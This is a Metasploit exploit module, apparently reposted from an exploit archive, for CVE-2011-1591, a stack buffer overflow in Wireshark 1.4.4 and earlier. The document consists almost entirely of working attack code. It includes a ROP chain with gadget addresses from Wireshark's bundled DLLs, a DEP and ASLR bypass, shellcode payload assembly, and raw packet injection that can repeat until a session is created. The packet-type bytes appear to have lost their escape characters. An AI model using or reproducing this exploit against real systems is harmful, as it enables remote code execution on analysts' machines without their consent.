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Wireshark 1.4.4 Remote Stack Buffer Overflow

Posted on 02 February 2012

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Capture

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)',
 'Description' => %q{
 This module exploits a stack buffer overflow in Wireshark <= 1.4.4
 by sending an malicious packet.)
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Paul Makowski', #Initial discovery
 'sickness', #proof of concept
 'corelanc0d3r <peter.ve[at]corelan.be>', #rop exploit + msf module
 ],
 'Version' => '$Revision$',
 'References' =>
 [
 [ 'CVE', '2011-1591'],
 [ 'OSVDB', '71848'],
 [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
 [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
 [ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 },
 'Payload' =>
 {
 'Space' => 936,
 'DisableNops' => 'True',
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'Win32 Universal (Generic DEP & ASLR Bypass)',
 {
 'OffSet' => 1243,
 'Ret' => 0x667c484d, #libgnutl pivot - tx Lincoln
 }
 ],
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Apr 18 2011',
 'DefaultTarget' => 0))

 register_options([
 OptBool.new('LOOP', [true, 'Send the packet every X seconds until the job is killed', false]),
 OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5])
 ], self.class)

 register_advanced_options([
 OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),

 ], self.class)

 deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')
 end

 def junk
 return rand_text(4).unpack("L")[0].to_i
 end

 def exploit
 check_pcaprub_loaded # Check first

 ptype = "xffxffxffxffxffxffx00x00x00x00x00x00x23x23"

 print_status("Preparing payload")

 pivot = [target.ret].pack('V')

 # pvefindaddr rop 'n roll
 # tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
 rop_pivot =
 [
 0x618d7d0e, # RET
 0x618d7d0e, # RET
 0x618d7d0e, # RET
 0x64f9d5ec, # ADD ESP,0C # RET - libfontconfig-1.dll
 0x618d7d0e, # RET <- don't count on this one !
 0x618d7d0e, # RET
 0x618d7d0e, # RET
 0x618d7d0e, # RET
 0x61C14268, # ADD ESP,24 # RETN - freetype6.dll
 0xFFFFFFFF, # crash baby !
 0xFFFFFFFF,
 0xFFFFFFFF,
 0xFFFFFFFF,
 0xFFFFFFFF,
 0x618d7d0e,
 0x618d7d0e,
 0x618d7d0e,
 0x618d7d0e,
 ].pack("V*")

 rop_gadgets =
 [
 0x6d7155cb, # PUSH ESP # POP EBX # POP EBP # RETN **[libpangoft2-1.0-0.dll]
 junk,
 0x6d596e31, # MOV EAX,EBX # POP EBX # POP EBP # RETN **[libgio-2.0-0.dll]
 junk,
 junk,
 0x61c14552, # POP EBX # RETN ** [freetype6.dll]
 0x00000800, # size - 0x800 should be more than enough
 0x61c14043, # POP ESI # RETN ** [freetype6.dll]
 0x0000009C,
 0x6d58321a, # ADD EAX,ESI # POP ESI # POP EBP # RETN **[libgio-2.0-0.dll]
 junk,
 junk,
 0x68610a27, # XCHG EAX,EBP # RETN ** [libglib-2.0-0.dll]
 0x629445a6, # POP EAX # RETN ** [libatk-1.0-0.dll]
 0x62d9027c, #
 0x6c385913, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN ** [libgdk-win32-2.0-0.dll]
 0x617bc526, # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN ** [libgtk-win32-2.0-0.dll]
 0x64f8c692, # POP EDX # RETN ** [libfontconfig-1.dll]
 0x00000040, #
 0x619638db, # POP ECX # RETN ** [libgtk-win32-2.0-0.dll]
 0x6536B010, # RW
 0x618d7d0d, # POP EDI # RETN ** [libgtk-win32-2.0-0.dll]
 0x618d7d0e, # RET
 0x64fa0c15, # POP EAX # RETN ** [libfontconfig-1.dll]
 0x618d7d0e, # RET
 0x61963fdb, # PUSHAD # RETN ** [libgtk-win32-2.0-0.dll]
 ].pack("V*")

 pivot = [target.ret].pack('V')

 buffer = rand_text(131)
 buffer << rop_pivot
 buffer << rop_gadgets

 nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

 buffer << nops
 buffer << payload.encoded
 buffer << pivot

 filler = 1500 - buffer.length

 buffer << rand_text(filler)

 pkt = ptype
 pkt << buffer

 print_status("Sending malicious packet")
 open_pcap()

 #handler
 if datastore['LOOP']
 while true
 break if session_created? and datastore['ExitOnSession']
 inject(pkt)
 select(nil,nil,nil,datastore['DELAY'])
 end
 else
 inject(pkt)
 end

 close_pcap
 end
end

 

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